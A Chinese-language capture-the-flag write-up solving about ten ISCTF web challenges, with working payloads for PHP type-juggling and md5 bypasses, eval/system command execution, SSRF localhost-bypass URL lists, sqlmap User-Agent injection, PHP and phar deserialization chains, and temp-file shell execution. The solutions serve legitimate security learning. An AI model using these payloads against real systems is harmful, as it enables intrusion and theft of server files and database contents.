EASY-PHP01
get传参 ?hint
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>web签到</title> </head> <body> <!--给我一个hint,我给你一个hint--> <!--?hint --> <?php include "./flag114514.php"; error_reporting(0); if (isset($_GET['hint'])) { highlight_file(__FILE__); if (isset($_POST['ISCTF'])) { $ISCTF = $_POST['ISCTF']; if($ISCTF == 114514){ if($ISCTF === "114514"){ echo "好臭啊"; }else{ echo $flag; } }else{ echo "= == === != !=="; } }else{ echo "什么是POST?"; } }else{ echo " 什么是GET?"; } 什么是POST?
|
弱类型比较绕过
POST: ISCTF=114514a
EASY-PHP02
<?php highlight_file(__FILE__); error_reporting(0); $flag = "flag{need_time_to_change}"; include_once("config.php"); $YOUR_NAME = $_GET["NAME"]; $GET1 = $_POST["GET1"]; $GET2 = $_POST["GET2"]; $POST1 = $_GET["P0ST1"]; $POST2 = $_GET["P0ST2"]; if (isset($YOUR_NAME)){ echo $YOUR_NAME.",请开始你的答题。"."<br>"; } else{ echo "做题前请告诉我你是小蓝鲨吗?"; exit(); } if (is_numeric($POST1)){ if ($_GET["P0ST1"] != $_GET["P0ST2"]){ if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1; echo "小蓝鲨成功一半".$f1; } } }
if(preg_match('/^[0-9]*$/',$GET1)) { exit(); } else{ if( $GET1 == 0 ){ echo "<br>"."前面的出来了吗?"; if(is_numeric($GET2)){ exit(); } if($GET2 > 678){ echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>"; $Ag=base64_encode($flag2); } } } $flag666 = $f1.$Ag; echo $flag666; ?> 做题前请告诉我你是小蓝鲨吗?
|
先传入your name进入下一个判断
P0ST1不等于P0ST2,但是P0ST1等于P0ST2的md5值,这是md5的弱碰撞
GET1过滤了纯数字,用字母绕过,GET2大于678,不能为数字,数组绕过
构造payload:
GET: http://120.79.18.34:20120/?NAME=111&P0ST1=0&P0ST2=s1502113478a
POST: GET1=a&GET2[]=690
前半段是hex解码 ISCTF{0d4c
后半段是base64解码,再Unicode解码 6e9a-51a9-45bf-8a6d-513cdf7b530c}
FakeWeb
burpsuite抓包
发现跳转页面
经过查阅资料,发现If-None-Match和ETag是解题关键点
当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag 返回给浏览器,浏览器把”3f80f-1b6-3e1cb03b” 和 A 同时缓存在本地,当下次再次向服务器请求A时,会通过类似 If-None-Match: “3f80f-1b6-3e1cb03b” 的请求头把ETag发送给服务器,服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200),如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽,因为服务器不需要每次都把全量数据返回给客户端。
聪明的服务器开发者会把ETags和GET请求的“If-None-Match”头一起使用,这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag,服务器可在稍后使用它来判断页面是否已经被修改。本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存。
其过程如下:
1. 客户端请求一个页面(A)。 服务器返回页面A,并在给A加上一个ETag。 客户端展现该页面,并将页面连同ETag一起缓存。 2. 客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器。
3. 服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改,直接返回响应304(未修改——Not Modified)和一
个空的响应体。
就是说要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包
simplephp
<?php highlight_file(__FILE__); error_reporting(E_ERROR);
$str=$_GET['str']; $pattern = "#\\\\\\\\/Ilikeisctf#"; function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; }
if(preg_match($pattern,$str,$arr)) { echo "good try!"; $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ echo "come on!!!"; if($num=='36'&isset($_GET['cmd'])){
eval($_GET['cmd']);
}else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
}
|
num不等于36,去空后不等于36,经过过滤后等于36
主要就是绕过trim
trim过滤了 0a 09 0b 没有过滤0c(换页键)可以试试
?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘ls /‘);
?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘tac /flag’);
curl
IP地址伪造,服务端请求伪造,**?urls=http://127.0.0.1/flag.php **
这个不行,不能绕过,试一下?urls=http://0/flag.php
url=http://0x7F.0.0.1/flag.php 十六进制
url=http://0177.0.0.1/flag.php 八进制 还有一个疑惑就是二进制应该也可以 但是该怎么区分进制呢?
url=http://2130706433/flag.php 10 进制整数格式 (??)这什么操作
url=http://0x7F000001/flag.php 16 进制整数格式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
url=http://0.0.0.0/flag.php
url=http://127.127.127.127/flag.php CIDR
以下为常用绕过方式 但本题不行的解法
短标签绕过
ipv6绕过[::1]
url=http://127。0。0。1/flag.php 句号
参考博客
eazy-onlineshell
根据提示先传个rce
再查看备份文件
查看源码
import flask import subprocess
app = flask.Flask(__name__)
@app.route("/") def hello_world(): return "Try to access the /rce"
@app.route("/www.zip") def return_SourceCode(): with open("./app.py", "r") as f: //访问www.zip会打开app.py return f.read() @app.route("/rce", methods=['GET', 'POST']) def action_rce(): if flask.request.method == "GET": return "Why not try to search the backup" elif flask.request.method == "POST": action = flask.request.form["act"] //在post传入act,写入命令 with open("/app/temp.sh", "w") as f: f.write(action[1:-1]) //切片,截取第二个和倒数第二个字符之间的 res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE) return "success" if __name__ == '__main__': app.run(debug=True)
|
可以把文件写入app.py中,找不到其他可以利用的目录文件
把ls写入app.py 无回显,所以要访问www.zip执行app.py
act=’ls >app.py’
访问flag act=’tac flag>app.py’
傻柱
猜测是sql注入,但是不知道注入类型,登入login页面看一下
没发现什么可以利用的东西
burp suite扫一下,发现存在User - Agent注入,(需要等一会,一开始会检测不出来)
sqlmap一把梭
针对User - Agent的值探测SQL注入,需要设置 –level值为3
sqlmap -u http://120.79.18.34:20177///login.php –level 3 –dbs
sqlmap -u http://120.79.18.34:20177///login.php –level 3 -D ctf –tables
sqlmap -u http://120.79.18.34:20177///login.php –level 3 -D ctf -T user_agents –columns –dump
easy_upload
存在www.rar文件
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ if (preg_match("/flag|\.\.|\/\//i", $file)) { echo "no hack"; exit(); } include $file; }else{ include("upload.php"); } ?>
|
GIF89a
rce?
- 用post把shell传上服务器,在shell里面写好我们想执行的代码
- .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
p
神
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <form action="http://120.79.18.34:20176/" method="POST" enctype="multipart/form-data"> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="submit"> </form> </body> </html>
|
?shell=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3B?>
|
猫和老鼠
<?php highlight_file(__FILE__); error_reporting(0);
class mouse { public $v; public function __toString() //在需要字符串值的地方会自动调用它进行对象的类型转换 { echo "Good. You caught the mouse:"; include($this->v); } }
class cat { public $a; public $b; public $c; public function __destruct(){ $this->dog(); $this->b = $this->c; die($this->a); } public function dog() { $this->a = "I'm a vicious dog, Kitty"; } }
unserialize($_GET["cat"]);
?>
|
脚本
<?php class mouse { public $v;
public function __construct() { $this->v = "php://filter/convert.base64-encode/resource=flag.php"; }
}
class cat { public $a; public $b; public $c;
public function __construct() { $this->a = &$this->b; $this->b = "xxx"; $this->c = new mouse(); }
}
echo serialize(new cat()); ?>
|
?cat=O:3:”cat”:3:{s:1:”a”;s:3:”xxx”;s:1:”b”;R:2;s:1:”c”;O:5:”mouse”:1:{s:1:”v”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}
base64解码
upload
<?php class upload{ public $filename; public $ext; public $size; public $Valid_ext;
public function __construct(){ $this->filename = $_FILES["file"]["name"]; $this->ext = end(explode(".", $_FILES["file"]["name"])); $this->size = $_FILES["file"]["size"] / 1024; $this->Valid_ext = array("gif", "jpeg", "jpg", "png"); }
public function start(){ return $this->check(); }
private function check(){ if(file_exists($this->filename)){ return "Image already exsists"; }elseif(!in_array($this->ext, $this->Valid_ext)){ return "Only Image Can Be Uploaded"; }else{ return $this->move(); } }
private function move(){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename); return "Upload succsess!"; }
public function __wakeup(){ echo file_get_contents($this->filename); } }
class check_img{ public $img_name; public function __construct(){ $this->img_name = $_GET['img_name']; }
public function img_check(){ if(file_exists($this->img_name)){ return "Image exsists"; }else{ return "Image not exsists"; } } }
|
这个是phar反序列化的触发函数
构造payload
<?php class upload{ public $filename; public $ext; public $size; public $Valid_ext; public function __construct(){ $this->filename = '/flag'; } } $p = new upload(); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); $phar->setMetadata($p); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
要被自己蠢死,没有运行脚本直接上传,能出flag才怪,好丢人啊啊啊😭
运行脚本后产生phar文件,改成jpg格式上传,然后访问,就能得到flag
其中好多题都是大佬教给我做的,感谢,tql !😍